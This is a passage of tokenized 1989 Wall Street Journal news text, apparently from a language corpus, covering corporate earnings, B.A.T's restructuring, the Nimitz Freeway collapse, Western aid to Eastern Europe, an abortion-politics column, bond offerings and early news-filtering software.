materials , higher wages and an $ 11 million provision for bad debts in Latin America . +In announcing a 1989 capital spending plan of $ 950 million early this year , Caterpillar said full-year earnings would be flat compared with last year 's $ 616 million , or $ 6.07 a share . +But yesterday , the company said this year 's profit will be lower . +It did n't say by how much . +Suffering from a downturn in heavy truck production that cut orders for its engines , Caterpillar also said it will indefinitely lay off about 325 workers in the Peoria area and temporarily shut its plant in York , Pa. , for two weeks in both November and December . +For the first nine months of the year , Caterpillar said earnings fell 14 % to $ 390 million , or $ 3.85 a share , from $ 453 million , or $ 4.46 a share , a year earlier . +Sales rose to $ 8.19 billion from $ 7.65 billion . +Millicom Inc. said it is one of two companies to receive a license to introduce and operate a cellular mobile telephone system in Pakistan . +The market during the start-up is estimated at 25,000 subscribers . +A spokeswoman for Millicom , a telecommunications company , said she did n't know the value of the contract . +Cable & Wireless PLC of Britain won the other license . +Millicom said it would build and operate the system in Pakistan with Comvik International AB , part of the Kinnevik group of Sweden , and Arfeen International , Pakistan . +B.A.T Industries PLC won overwhelming shareholder approval for a defensive restructuring to fend off a # 13.35 billion -LRB- $ 21.23 billion -RRB- takeover bid from Sir James Goldsmith . +At a shareholders ' meeting in London , the tobacco , financial-services and retailing giant said it received 99.9 % approval from voting holders for plans to spin off about $ 6 billion in assets . +B.A.T aims to sell such U.S. retailing units as Marshall Field and Saks Fifth Avenue and float its big paper and British retailing businesses via share issues to existing holders . +Proceeds will help pay for a planned buy-back of 10 % , or about 153 million , of its shares and a 50 % dividend increase . +B.A.T yesterday started its share buy-back . +The company said it acquired 2.5 million shares for 785 pence -LRB- $ 12.48 -RRB- each , or a total of # 19.6 million -LRB- $ 31.2 million -RRB- , from its broker , Barclays de Zoete Wedd . +The share buy-back plan is likely to underpin B.A.T 's share price . +B.A.T said it may make more equity purchases until the close of business today , depending on market conditions , but will cease further purchases until Nov. 22 , when it releases third-quarter results . +B.A.T shares rose 29 pence to 783 pence on London 's stock exchange yesterday . +Shareholder approval sets the stage for a lengthy process of restructuring that might not be completed until next year 's second half . +Before the recent tumult in global financial markets , B.A.T officials , holders and analysts had expected a substantial part of the restructuring to be complete by the end of the first half . +`` We are not in any hurry to sell '' Saks , Marshall Field or B.A.T 's other U.S. retail properties , said Chairman Patrick Sheehy . +`` This is n't a distress sale . +We are determined to get good prices . '' +Company officials say the flotations of the paper and British retailing businesses are likely only after the disposals of the U.S. retailing assets . +Meanwhile , Sir James still is pursuing efforts to gain U.S. insurance regulators ' approval for a change in control of B.A.T 's Farmers Group Inc. unit . +The Anglo-French financier has indicated he intends to bid again for B.A.T if he receives approval . +Hasbro Inc. , the nation 's largest toy maker , reported third-quarter earnings increased 73 % from a year earlier on a 9.4 % sales gain , reflecting improved margins . +Hasbro said it had net income of $ 31.3 million , or 53 cents a share , up from $ 18.1 million , or 31 cents a share , a year earlier , when it took a pretax charge of $ 10 million after dropping development of an interactive video entertainment system . +Revenue rose to $ 403 million from $ 368.4 million . +The company cited sales gains at its Milton Bradley and Playskool units and in its international business for the increase in revenue . +Alan G. Hassenfeld , chairman and chief executive , added that Hasbro 's new line of battery-powered racing cars , called Record Breakers , and its acquisition of Cabbage Patch Kids , Scrabble and other lines from Coleco Industries Inc. puts the company `` in a good position as we enter the Christmas buying season . '' +For the first nine months of the year , Hasbro 's net income rose 33 % to $ 68.2 million , or $ 1.15 a share , from $ 51.3 million , or 88 cents a share , on a 3.1 % increase in revenue to $ 992.7 million from $ 963 million a year earlier . +Reebok International Ltd. posted a 35 % increase in third-quarter net income despite a slight decline in sales . +The athletic footwear maker said net rose to $ 49.9 million , or 44 cents a share , from $ 37.1 million , or 32 cents a share , a year earlier . +Sales declined 3 % to $ 524.5 million from $ 539.4 million . +Paul Fireman , Reebok chairman and chief executive officer , said , `` Our gains in earnings provide further evidence that the controls we have put in place and our sales mix are continuing to improve the company 's overall profit performance . '' +The company said it expects sales to improve due to a number of new products , including a `` pump '' basketball shoe that can be inflated to better fit the foot . +In the first nine months , net was $ 140 million , or $ 1.23 a share , on sales of $ 1.44 billion . +Separately , Reebok completed the acquisition of CML Group Inc. 's Boston Whaler unit , a builder of power boats . +CML , Acton , Mass. , had agreed to sell the unit to Reebok for about $ 42 million . +The agreement also called for Reebok to receive warrants to purchase 400,000 shares of CML common at $ 31.25 a share , exercisable at any time before July 1 , +An outside spokesman for CML said the terms were changed to a minor extent but would n't disclose what those changes were . +Pitney Bowes Inc. directors authorized the company to seek buyers for its Wheeler Group Inc. subsidiary , a direct mail marketer of office supplies . +Pitney Bowes said the decision was based on a long-term analysis of the compatibility of Wheeler Group 's marketing business with other Pitney Bowes operations . +Pitney Bowes acquired the core of what evolved into Wheeler Group in 1979 by buying Dictaphone Corp . +A spokeswoman would n't comment on whether the company had talked with any potential buyers for the New Hartford , Conn. , unit , which had 1988 sales of about $ 75 million . +She said Wheeler Group was profitable but would n't give figures . +The spokeswoman said the company does n't have a timetable for the sale , adding that the board 's decision just starts the search for a buyer . +Separately , Pitney Bowes said third-quarter net income gained 15 % to $ 62 million , or 78 cents a share , from $ 54 million , or 68 cents a share , a year ago . +Revenue grew 13 % to $ 734.8 million from $ 650.9 million . +The company said the growth was led by its major operations , particularly mailing , shipping , dictating and facsimile businesses . +Steel jackets of a type that may have prevented collapse of the columns of a 1.5-mile stretch of the Nimitz Freeway had been installed on at least a small test section of the double-decker highway last year by California 's Department of Transportation , employees familiar with the project say . +The test project -- which reportedly survived Tuesday 's earthquake -- was a prelude to a state plan to retrofit that critical section of the freeway with the steel casings . +State engineers have made a preliminary finding that it was failure of the concrete columns , wrenched and separated from the double-decker roadbed , that was responsible for the collapse . +The failure in Oakland of the freeway segment known as the Cypress structure was the deadliest aspect of the quake , although officials were hopeful yesterday that the death toll there might be significantly lower than the 250 initially feared . +Sorting out the wreckage is expected to take several days . +Red tractors gingerly picked at the rubble while jackhammers tried to break up some of the massive slabs of concrete . +Giant yellow cranes were wheeled up alongside the collapsed segment , preparing to lift off chunks of the debris . +In Sacramento , a transportation department spokesman said he could n't immediately confirm or deny existence of the test work . +However , he asserted that the department had n't mastered the technology needed to retrofit the entire Cypress structure . +Moreover , other officials noted , snafus in transportation funding that the state has experienced over the years may have restricted the availability of funds for such a retrofitting , even if it were technologically feasible . +Knowledgeable employees said the retrofitting , which had n't yet been budgeted , was part of a planned , three-stage reinforcement of the Cypress structure begun by the California transportation department several years ago . +The Cypress reinforcement project itself was part of an annual effort to shore up structures believed vulnerable to earthquakes . +The state began such work after a 1971 tremblor in Southern California , when numerous bridges collapsed . +`` We had just finished phase two '' of the Cypress project that involved installing a series of retaining cables designed to prevent sections of the roadway from separating as a result of seismic shock , a state DOT engineer said . +After completing installation of the jackets on `` one frame '' of the freeway last year , the state DOT had sent the project over to its Sacramento engineers to draw up a final design . +Knowledgeable employees said the project had been stymied somewhat by `` the difficulty of designing '' the jackets . +The procedure involves encasing the concrete columns with steel , then connecting them more securely to the double-decker roadbed . +The employees also said the project may have been snagged by budgetary concerns . +One preliminary estimate put the retrofitting cost at as much as $ 50 million . +The collapse of the span has provoked surprise and anger among state officials . +Gov. George Deukmejian , who said he had been assured by state transportation officials that the structure could withstand an even larger quake , called for an immediate investigation . +`` I want to know who made the decision that it was safe for 186,000 people to use every day , '' said Richard Katz , a state legislator who is chairman of the California Assembly 's transportation committee . +He said he would convene hearings within two weeks . +The Cypress structure opened in June 1957 , and as such , like many buildings in the San Francisco Bay area , does not meet current building codes requiring considerably more steel support . +The northern piers of the span lie in estuarian deposits that were of a type to have liquefied easily during the 1906 quake . +Transportation department officials , however , said they were as surprised as anyone by the Cypress destruction . +They said previous earthquakes suggested that multiple-column viaducts would stand up well , although they were working on ways to bolster them . +`` Unfortunately , there is only one laboratory for developing techniques to withstand earthquakes , and that is an earthquake , '' said Burch Bachtold , San Francisco district director for the transportation department . +He said : `` We know of no technology that exists anywhere in the world that would allow us to '' reinforce the columns . +Financial Corp. of Santa Barbara said it rescheduled to Nov. 29 a special shareholder meeting to vote on a $ 75 million stock-for-debt exchange . +The meeting had been scheduled for Nov. 10 but the company delayed the meeting to allow time for the Securities and Exchange Commission to review the proposal . +As part of a restructuring announced earlier this year , the company proposed in August to exchange 168 newly issued common shares for each $ 1,000 face value of debt . +However , that figure could be revised , Financial Corp. said . +Currently , the company has about six million common shares outstanding . +If all the debt was converted , about 13 million new shares would be issued . +In composite trading Wednesday on the New York Stock Exchange , Financial Corp. closed at $ 1.125 , unchanged . +The debt consists of $ 50 million of 13 3\/8 % subordinated notes due 1998 , and $ 25 million of 9 % convertible subordinated debentures due 2012 . +Financial Corp. also is proposing to exchange each of its 130,000 outstanding shares of cumulative convertible preferred series A stock for two shares of common . +After years of quarreling over Bonn 's `` Ostpolitik '' , West Germany and the U.S. appear to have shifted onto a united course in Eastern Europe . +Bonn and Washington have taken a leading role in aid for the reformist countries , pledging billions of dollars in fresh credit and forgiving old debt while urging other industrial nations to follow suit . +Both hope to encourage pressure for change in East bloc countries still ruled by Stalinist holdouts by arranging liberal financial aid and trade benefits for Poland , Hungary and , to a lesser extent , the Soviet Union . +West German officials also have the special goal of holding out hope for East Germany 's fledgling reform movement . +`` The change taking place in the Soviet Union , Poland and Hungary has aroused new hope in both German states that reforms will be undertaken in -LCB- East Germany -RCB- , and that relations between the two German states , too , will get better , '' said Foreign Minister Hans-Dietrich Genscher . +Addressing a conference of the New York-based Institute for East-West Security Studies in Frankfurt yesterday , Mr. Genscher said , `` History will judge us by whether we have taken the opportunities that emerge from these reforms . '' +The ultimate aim of Western support for East bloc reforms , he said , is to create `` an equitable and stable peaceful order in Europe from the Atlantic to the Urals . '' +Mr. Genscher and U.S. Secretary of Commerce Robert A. Mosbacher , in separate speeches at the conference , appealed for more Western contributions to economic reforms and business development in Hungary and Poland . +Bonn and Washington are leading supporters of Poland 's request for a $ 1 billion stand-by credit from the International Monetary Fund . +`` We want the bold programs of market development and political freedom in Hungary and in Poland to succeed . +We are prepared to support those changes , '' said Mr. Mosbacher . +U.S. curbs on the exports of sensitive technology to East bloc countries will remain in place , however . +Meanwhile , the U.S. House of Representatives yesterday approved an $ 837.5 million aid package for Poland and Hungary that more than doubles the amount President Bush had requested . +The package was brought to the House just 15 days after it was introduced , indicating Congress 's eagerness to reward Poland and Hungary for their moves toward democracy and freemarket economic reforms . +The legislation , approved 345-47 and sent to the Senate , establishes two enterprise funds , to be governed by independent nonprofit boards , which will make loans and investments in new business ventures in Hungary and Poland . +The Polish fund would be seeded with $ 160 million , the Hungarian fund with $ 40 million . +In addition , a group of 24 industrialized countries , including the U.S. and Japan and coordinated by the European Community Commission , has promised Poland and Hungary trade advice and a line of credit equivalent to $ 1.11 billion through the European Investment Bank , while the EC plans $ 222 million in direct aid . +When Chancellor Helmut Kohl travels to Poland Nov. 9 , he is expected to take with him a promise of three billion West German marks -LRB- $ 1.6 billion -RRB- in new credit guarantees for industrial projects . +Last week , Bonn agreed to reschedule 2.5 billion marks in Polish debt that came due last year . +In addition , a one billion mark credit dating from 1974 is to be written off . +Poland 's plan to switch to a free-market economy by 1991 is hampered by a foreign debt load of $ 39.2 billion . +West Germany also has increased its credit guarantees to Hungary by 500 million marks to 1.5 billion marks as the emerging democratic state rushes through its own economic reforms , including a broad privatization of state-owned industry and tax incentives for industrial investment . +An additional 500 million marks in credit-backing was promised by the West German state governments of Bavaria and Baden-Wuerttemberg . +Deutsche Bank AG , which last year arranged a three billion mark credit for the Soviet Union , is now moving to become the first West German bank to set up independent business offices in Hungary and Poland as they shift to free-market economies . +A maxim of Frankfurt banking holds that wherever Deutsche Bank goes , other West German banks follow . +Indeed , at least four other West German banks are believed to be making inquiries . +Mattel Inc. said third-quarter net income rose 73 % , to $ 38 million , or 76 cents a share , from $ 21.9 million , or 45 cents a share , a year ago . +Revenue rose 34 % to $ 410 million from $ 306.6 million a year earlier . +`` Mattel 's world-wide volume has grown 25 % in a climate of relatively flat industry sales , '' said John W. Amerman , chairman . +He said the toy company 's `` prospects for a strong fourth quarter '' are also good . +Mattel attributed the jump in quarter net to strong world-wide sales of its Barbie doll , Hot Wheels cars , Disney toys and other well-known toy lines . +The company also cited retail trade and consumer demand for new products introduced this year , such as Cherry Merry Muffin and Turtle Tots . +For the nine months , Mattel net more than doubled to $ 58.9 million , or $ 1.19 a share , from $ 25.4 million , or 53 cents a share , a year ago . +Revenue rose 25 % , to $ 877.6 million , from $ 702.4 million . +Mattel said the company 's sale of rights to land and buildings at its Hawthorne , Calif. , headquarters resulted in a $ 13 million charge to third-quarter operating profit . +The charge did n't affect net for the quarter as it was offset by tax benefits . +Mattel has purchased a new headquarters building in El Segundo , Calif. , which it will occupy by the end of next year . +Democracy can be cruel to politicians : Sometimes it forces them to make choices . +Now that the Supreme Court opened the door on the subject of abortion , politicians are squinting under the glare of democratic choice . +Their discomfort is a healthy sign for the rest of us . +Republicans are squinting most painfully , at least at first , which is only fair because they 've been shielded the most . +So long as abortion was a question for litigation , not legislation , Republicans could find political security in absolutism . +They could attract one-issue voters by adopting the right-to-life movement 's strongest position , even as pro-choice Republicans knew this mattered little on an issue monopolized by the court . +Now it matters . +Much of Washington thought it detected George Bush in a characteristic waffle on abortion the past week . +Only a month ago he 'd warned Congress not to pass legislation to pay for abortions in cases of rape or incest . +Last Friday , after Congress passed it anyway , he hinted he was looking for compromise . +Was the man who once was pro-choice , but later pro-life , converting again ? +In fact , Mr. Bush 's dance was more wiggle than waffle . +Pro-life advocates say the White House never wavered over the veto . +Christopher Smith -LRB- R. , N.J. -RRB- , a pro-life leader in the House , suggested a compromise that would have adapted restrictive language from rape and incest exceptions in the states . +The White House , never eager for a fight , was happy to try , which is why George Bush said he was looking for `` flexibility '' last week . +When Democrats refused to budge , pro-life Republicans met at the White House with Chief of Staff John Sununu on Monday , and Mr. Bush quickly signaled a veto . +Amid charges of `` timidity '' on Panama and elsewhere , the president was n't about to offend his most energetic constituency . +The GOP doubters were in Congress . +In last week 's House vote , 41 Republicans defected . +After the vote , Connecticut Rep. Nancy Johnson rounded up nearly as many signatures on a letter to Mr. Bush urging him not to veto . +Even such a pro-life stalwart as Sen. Orrin Hatch -LRB- R. , Utah -RRB- had counseled some kind of compromise . +The Senate passed the same bill yesterday , with a veto-proof majority of 67 . +The manuevering illustrates an emerging Republican donnybrook , pacified since the early 1980s . +At the 1988 GOP convention , abortion was barely discussed at all , though delegates were evenly divided on the question of an anti-abortion constitutional amendment . +Ms. Johnson made a passionate statement to the platform committee , but she was talking to herself . +Now many Republicans are listening . +They 're frightened by what they see in New Jersey , and especially Virginia , where pro-life GOP candidates for governor are being pummeled on abortion . +Eddie Mahe , a Republican consultant , says the two GOP candidates could have avoided trouble if they had framed the issue first . +-LRB- In Virginia , Marshall Coleman and his running mate , Eddy Dalton , are both on the defensive for opposing abortions even in cases of rape or incest . -RRB- +But Mr. Mahe adds , `` The net loser in the next few years is the right-to-life side . '' +Darla St. Martin , of the National Right to Life Committee , says exit polls from the 1988 election had single-issue , pro-life voters giving Mr. Bush about five more percentage points of support than pro-choice voters gave Michael Dukakis . +But the Supreme Court 's opening of debate may have changed even that . +GOP pollster Neil Newhouse , of the Wirthlin Group , says polls this summer showed that the single-issue voters had about evened out . +Polls are no substitute for principle , but they 'll do for some politicians . +The Republican danger is that abortion could become for them what it 's long been for Democrats , a divisive litmus test . +It 's already that in the Bush administration , at least for any job in which abortion is even remotely an issue . +Oklahoma official Robert Fulton lost a chance for a senior job in the Department of Health and Human Services after right-to-life activists opposed him . +Caldwell Butler , a conservative former congressman , was barred from a Legal Services post , after he gave wrong answers on abortion . +Even the president 's doctor , Burton Lee , has said on the record that he 'd love to be surgeon general but could n't pass the pro-life test . +In the case of HHS Secretary Louis Sullivan , the litmus test could yet damage issues important to other parts of the Republican coalition . +After Mr. Sullivan waffled on abortion last year , the White House appeased right-to-lifers by surrounding him with pro-life deputies . +Their views on health care and welfare did n't much matter , though HHS spends billions a year on both . +It makes only a handful of abortion-related decisions . +Though Democrats can gloat at all this for now , they may want to contain their glee . +On abortion , their own day will come . +Eventually even Republicans will find a way to frame the issue in ways that expose pro-choice absolutism . +Does the candidate favor parental consent for teen-age abortions ? +-LRB- The pro-choice lobby does n't . +-RRB- What about banning abortions in the second and third trimesters ? +-LRB- The lobby says no again . -RRB- +Democracy is forcing the abortion debate toward healthy compromise , toward the unpolarizing middle . +Roe v. Wade pre-empted political debate , so the extremes blossomed . +Now the ambivalent middle , a moral majority of sorts , is reasserting itself . +Within a few years , the outcome in most states is likely to be that abortion will be more restricted , but not completely banned . +This is where the voters are , which is where politicians usually end up . +Union Pacific Corp . third-quarter net income fell 17 % . +Excluding earnings from discontinued operations a year earlier , net fell only 2 % . +The energy , natural resources and railroad concern had net of $ 137.4 million , or $ 1.35 a share , down from $ 165 million , or $ 1.44 a share , a year earlier . +In the 1988 third quarter , profit from continuing operations totaled $ 140.1 million . +A year earlier , the company had profit from discontinued operations of $ 24.9 million from sale of a pipeline , a refinery and an interest in a second refinery . +Revenue rose 2 % to $ 1.58 billion from $ 1.54 billion . +In composite trading on the New York Stock Exchange , Union Pacific jumped $ 1.375 to $ 75 a share . +The company said its Union Pacific Railroad had a 3 % profit increase , despite a 14 % rise in fuel costs and a 4 % drop in car loadings . +Most of the commodity traffic was off , the company said . +Earnings from continuing operations of the Union Pacific Resources unit almost doubled , the company said . +It added that higher revenue , strong crude oil prices and higher natural gas prices offset declines in production of oil , gas and plant liquids . +In addition , the company cited cost-reduction moves and interest income . +Earnings from Union Pacific Realty dropped 50 % to $ 3 million . +Before good will , Overnite Transportation earnings fell 11 % to $ 15 million , Union Pacific said . +In the nine months , net fell 6.3 % to $ 427.7 million , or $ 3.98 a share , from $ 456.4 million , or $ 4 a share , a year earlier . +Profit from continuing operations in the year-earlier period was $ 402.7 million . +Revenue was $ 4.75 billion , up 6 % from $ 4.49 billion . +The Federal Trade Commission ruled that five major title-insurance companies illegally fixed prices for title search-and-examination services by participating in joint `` rating bureaus '' in six states . +The FTC ordered the companies not to use rating bureaus in those six states . +The commission order named the following companies : Ticor Title Insurance Co. of California , a unit of Los Angeles-based Ticor ; Chicago Title Insurance Co. and Safeco Title Insurance Co. , units of Chicago Title & Trust Co. ; Lawyers Title Insurance Corp. , a unit of Richmond , Va.-based Universal Corp. ; and Stewart Title Guaranty Co. , a unit of Houston-based Stewart Information Services Corp . +Chicago Title & Trust acquired Safeco in 1987 and changed the unit 's name to Security Union Title Insurance Co . +The FTC ruled that the companies violated federal antitrust law by fixing rates in the following states : New Jersey , Pennsylvania , Connecticut , Wisconsin , Arizona and Montana . +The FTC first issued an administrative complaint in the case in 1985 . +John Christie , a lawyer here for the two Chicago Title & Trust units accused the FTC of `` second-guessing '' state-level regulations , with which , he said , his clients had complied . +`` I expect all the companies to appeal , '' he added . +A lawyer for Lawyers Title said that , because the named companies no longer use the type of cooperative rating bureaus attacked by the FTC , the commission 's order wo n't have much practical impact . +Officials for the other named companies did n't return telephone calls seeking comment . +MARK RESOURCES INC. , Calgary , Alberta , said it agreed to sell 75 million Canadian dollars -LRB- US$ 63.9 million -RRB- of 8 % convertible debentures to a group of securities dealers . +Mark , an oil and gas concern , said the 15-year debentures are convertible before maturity at C$ 12.50 for each Mark common share , and can be redeemed at the company 's option , under certain conditions , after Nov. 30 , 1992 . +The government will try to sell all the real estate managed by the Federal Asset Disposition Association in one fell swoop , said William Seidman , chairman of the Federal Deposit Insurance Corp . +The FADA real-estate package , with an asking price of $ 428 million , is comprised of 150 properties in Texas , California , Colorado , Arizona and Florida . +It includes apartments , shopping centers , office buildings and undeveloped land . +Mr. Seidman is chairman of the Resolution Trust Corp. , established to sell or merge the nation 's hundreds of insolvent savings-and-loan associations . +The RTC , created by this year 's S&L bailout legislation , is trying to sell FADA 's network of offices separately . +FADA , which holds problem assets of thrifts that were closed before the bailout legislation was enacted , is being liquidated . +The properties held by FADA wo n't be sold piecemeal , Mr. Seidman said in a speech before Southern Methodist University Business School in Dallas . +`` You need to buy the entire lot , '' Mr. Seidman said , `` so get out your checkbooks . +The following were among yesterday 's offerings and pricings in the U.S. and non-U.S. capital markets , with terms and syndicate manager , as compiled by Dow Jones Capital Markets Report : +Sequa Corp. -- $ 150 million of 9 5\/8 % notes due Oct. 15 , 1999 , priced at 99.75 to yield 9.664 % . +The noncallable issue was priced at a spread of 170 basis points above the Treasury 's 10-year note . +Rated Baa-2 by Moody 's Investors Service Inc. and triple-B-minus by Standard & Poor 's Corp. , the issue will be sold through underwriters led by Merrill Lynch Capital Markets . +Virginia Public School Authority -- $ 55.7 million of school financing bonds , 1989 Series B -LRB- 1987 resolution -RRB- , due 19912000 , 2005 and 2010 , through a BT Securities Corp. group . +The bonds , rated double-A by Moody 's and S&P , were priced to yield from 6 % in 1991 to 7.10 % in 2010 . +Serial bonds were priced to yield to 6.75 % in 2000 . +Bonds due 1991-1996 carry 6.70 % coupons and bonds due 1997-2000 carry 6 3\/4 % coupons . +Term bonds due 2005 are n't being formally reoffered . +They carry a 7 % coupon . +Term bonds due 2010 are 7.10 % securities priced at par . +St. Johns River Water Management District , Fla. -- $ 50,005,000 of land acquisition revenue bonds , Series 1989 , due 1990-2000 , 2003 , 2006 and 2009 , tentatively priced by a Smith Barney , Harris Upham & Co. group to yield from 6 % in 1990 to about 7.03 % in 2003 . +There are $ 9.76 million of 7 % term bonds due 2003 , priced at 99 3\/4 to yield about 7.03 % . +The $ 11,775,000 of term bonds due 2006 and the $ 13,865,000 of term bonds due 2009 are n't being formally reoffered . +Serial bonds were priced at par to yield to 6.90 % in 2000 . +The bonds are insured and rated triple-A by Moody 's and S&P . +Federal Home Loan Mortgage Corp. -- $ 500 million of Remic mortgage securities being offered in 12 classes by Salomon Brothers Inc . +The offering , Series 105 , is backed by Freddie Mac 9 1\/2 % securities . +Separately , $ 400 million of Freddie Mac Remic mortgage securities is being offered in 10 classes by Kidder , Peabody & Co . +The offering , Series 106 , is backed by Freddie Mac 9 1\/2 % securities . +According to available details , yields range from 8.70 % , a spread of 80 basis points over three-year Treasury securities , to 10.37 % , a spread of 230 basis points over 20-year Treasurys . +The offerings bring Freddie Mac 's 1989 Remic issuance to $ 32.6 billion and its total volume to $ 46.5 billion since the program began in February 1988 . +European Investment Bank -LRB- agency -RRB- -- 200 billion lire of 12 % bonds due Nov. 16 , 1995 , priced at 101 3\/4 to yield 12 % less full fees , via lead manager Banco Commercial Italiana . +Fees 1 3\/4 . +IBM International Finance -LRB- U.S. parent -RRB- -- 125 million European currency units of 9 1\/8 % bonds due Nov. 10 , 1994 , priced at 101 5\/8 to yield 9.13 % at the recommended reoffered price of par , via Banque Paribas Capital Markets . +Societe Generale Australia Ltd . -LRB- French parent -RRB- -- 50 million Australian dollars of 17 % bonds due Nov. 20 , 1991 , priced at 101.90 to yield 16.59 less fees , via Westpac Banking Corp . +Guaranteed by Societe Generale . +Fees 1 1\/4 . +Mitsubishi Trust & Banking Corp . -LRB- Japan -RRB- -- 200 million Swiss francs of privately placed convertible notes due March 31 , 1994 , with a fixed 0.75 % coupon at par , via Union Bank of Switzerland . +Put option on March 31 , 1992 , at a fixed 107 3\/4 to yield 3.5 % . +Callable from March 31 , 1992 , at 107 3\/4 , declining two points semi-annually to par . +Each 50,000 Swiss franc note is convertible from Nov , 27 , 1989 , to March 21 , 1994 , at a premium over the closing share price Oct. 25 , when terms are scheduled to be fixed . +Also , the company issued 300 million marks of convertible bonds with an indicated 2 3\/4 % coupon due March 31 , 1995 , at par , via Westdeutsche Landesbank Girozentrale Bank . +Put on March 31 , 1992 , at an indicated 105 to yield 4.80 % . +Call option beginning March 31 , 1992 , if the price of the stock rises more than 50 % within 30 trading days as well as a call option for tax reasons . +Each 1,000 mark and 10,000 mark bond is convertible from Nov. 27 , 1989 , to March 21 , 1995 , at a price to be determined when terms are fixed Oct. 25 . +Scandinavian Airlines System -LRB- Sweden -RRB- -- 100 million Swiss francs of 6 1\/8 % bonds due Nov. 24 , 1999 , priced at 100 3\/4 to yield 6.03 % , via Union Bank of Switzerland . +Call from Nov. 24 , 1994 , at 101 1\/2 , declining 1\/4 point a year . +Federal Home Loan Mortgage Corp. -- $ 400 million of 10-year debentures with a coupon rate of 8.80 % , priced at par . +The debentures , callable at par in five years , were priced at a yield spread of about 86 basis points above the Treasury 10-year note . +The issue is being sold through Freddie Mac 's 17-member securities selling group . +The debentures mature Oct. 27 , 1999 . +The debentures will be available in book-entry form only in a minimum amount of $ 5,000 and additional increments of $ 5,000 . +Interest will be paid semi-annually . +First they get us to buy computers so we can get more information . +Then the computers give us more information than we can ever read . +Now they plan to sell us products that sift through all the information to give us what we really want to know . +The products range from computer-edited , personal newsletters to systems that sit inside a personal computer and pick stories on selected topics off news wires . +`` Filtered news is what people want , '' says Esther Dyson , editor of Release 1.0 , an industry newsletter that spots new developments . +`` Most people read 10 times more than necessary in order to find out what they really need . '' +Geoffrey Goodfellow , who dropped out of high school back in the 1970s to manage a computer network at a California research firm , says : `` Old network hands have started to turn off the network because they do n't have time to wade through the muck . '' +Mr. Goodfellow has started a Menlo Park , Calif. , company called Anterior Technology that provides human editors for public electronic networks . +`` I see it as a sewage treatment plant , '' he says . +A new product , NewsEdge , carries five business news wires simultaneously into a user 's computer and beeps and flashes whenever an article appears that is of interest to the user . +The product , developed by Desktop Data Corp. , a new company based in Waltham , Mass. , scans the wires looking for articles that contain key words specified by the user . +One early user , David Semmel , a Chicago venture capitalist and investor in Desktop Data , says he uses it to track takeover developments . +He says he told NewsEdge to look for stories containing such words as takeover , acquisition , acquire , LBO , tender , merger , junk and halted . +`` I 'm pretty confident I 'm catching everything , '' he says . +NewsEdge is pricey : $ 7,500 a year for a limited version , $ 40,000 a year if the cost of all the news wires is included . +And it works best in high-powered personal computers . +But some investors and consultants who have tried it are enthusiastic . +Jeffrey Tarter , editor of SoftLetter , a Watertown , Mass. , industry newsletter , says : `` I 've seen a lot of people fooling around on the fringes of filtering information . +This is the first time I 've seen something I could imagine a lot of people using . '' +NewsEdge uses an FM radio band to carry news wires provided by Reuters , McGraw-Hill and Dow Jones & Co. , as well as PR Newswire , which carries corporate press releases . +An FM receiver attached to a user 's personal computer receives the information . +Some organizations have devised their own systems to sort through news wire items as they come in . +George Goodwin , an account manager at Royal Bank of Canada , adapted a Lotus Development Corp. program called Agenda to sort through international news wires . +It automatically selects stories from particular countries for reading by the international bankers responsible for lending in those areas . +For those who do n't need their personalized information moment by moment , some services are offering overnight newsletters . +Individual Inc. , a new company in Brookline , Mass. , uses filtering technology developed by Cornell University computer scientist Gerard Salton , to automatically produce customized newsletters it sends electronically to subscribers by 8 a.m. the next day . +`` We are operating an information refinery that takes a broad stream of raw data and turns it into actionable knowledge , '' says Yosi Amram , founder and president . +The daily newsletter , which is n't widely available yet , will have a base cost of $ 2,000 a year and provides full text of relevant articles under license agreements with Reuters , McGraw Hill , United Press International , two press release news wires and Japan 's Kyodo news service . +One early user is NEC Corp. 's U.S. printer marketing arm . +`` They want the full press releases on printer announcements by their competition , '' Mr. Amram says . +It also tracks personnel and financial announcements by NEC 's distributors and customers . +Individual Inc. 's technology goes beyond word searches by using a computerized thesaurus . +If a customer asks for stories about `` IBM , '' the computer will also supply stories that mention `` I.B.M. , International Business Machines , or Big Blue , '' Mr. Amram says . +Moreover , Individual Inc. 's computers can weigh the value of an article based on how closely the story matches the subscriber 's interest area . +It compares the position of key words in the story ; words in the headline or first paragraph get a higher value . +And it calculates how often the words appear in the story compared with how often they appear in the entire data base . +The higher the ratio of hits to total words , the higher the presumed value to the reader . +Pinpoint Information Corp. , Chantilly , Va. , a producer of $ 1,800-a-year personalized newsletters about the computer industry that started full operation last month , relies on 12 human readers to code news releases by topic in order to select items for each subscriber . +`` The computers find all the key words they can , but the editors confirm every one . +Computer picking is n't perfect , '' says Harvey Golomb , president and founder of Pinpoint . +The humans also write abstracts of articles from some 200 computer industry publications . +Once all the articles are coded and put in a data base , Pinpoint 's computers pick the most relevant for each subscriber and lay them out in a three-to-five-page newsletter format ; each newsletter is sent directly from the computer to the subscriber 's fax machine . +Mr. Golomb says each of his computers can produce and send about 75 unique newsletters a night . +Many computer network users who never see news wires would like to sort through their electronic mail automatically . +So-called E-mail is the collection of inter-office memos , gossip , technical data , schedules and directives distributed over local and national computer networks . +`` All these interconnected computers make it difficult to sort out what 's junk and what 's important , '' says Chuck Digate , a former Lotus Development executive who has started a new company to cope with the problem . +Mr. Digate says his firm , Beyond Inc. , has licensed technology known as Information Lens from Massachusetts Institute of Technology and plans to develop it for commercial use . +The MIT project devised ways for E-mail to be automatically categorized as top priority if it comes from certain designated senders or requires action in the next couple of days . +Mr. Digate says that Beyond will refine the product `` so the message will be smart enough to know to come back and bother you again next week . '' +And if a user is busy , `` he can set it for crisis mode : ` Do n't bother me with reports until Monday . ' '' +A program called Notes , which is under development by Lotus , also is designed to sort E-mail sent within work groups . +One thing that makes E-mail difficult to sift through is that each item looks the same . +Notes , which is designed for advanced computers that display graphics , allows mail senders to put different logos on their mail . +A daily news briefing from the company librarian , for example , would have a distinctive format on the screen , just as a paper version would have . +`` With E-mail , you do n't have the visual clues of paper , '' says Mr. Tarter , the editor of SoftLetter . +`` With Notes , they 're visually distinct . +Dean Witter Reynolds Inc. lost its second recent arbitration case involving a former bond-trading executive . +A New York Stock Exchange arbitration panel ordered Dean Witter to pay $ 404,294 in back bonuses to William Kelly , the company 's former head of high-yield , high-risk junk-bond trading and sales . +It also awarded $ 196,785 in back bonuses to former trader Michael Newcomb and $ 69,105 in fees to the two men 's attorneys . +The sums awarded to Messrs. Kelly and Newcomb represent bonuses the two men said they deserved from the first half of 1988 , but which were n't paid because of a dispute over an incentive contract . +Jeffrey L. Liddle , the two men 's attorney at Liddle , O'Connor , Finkelstein & 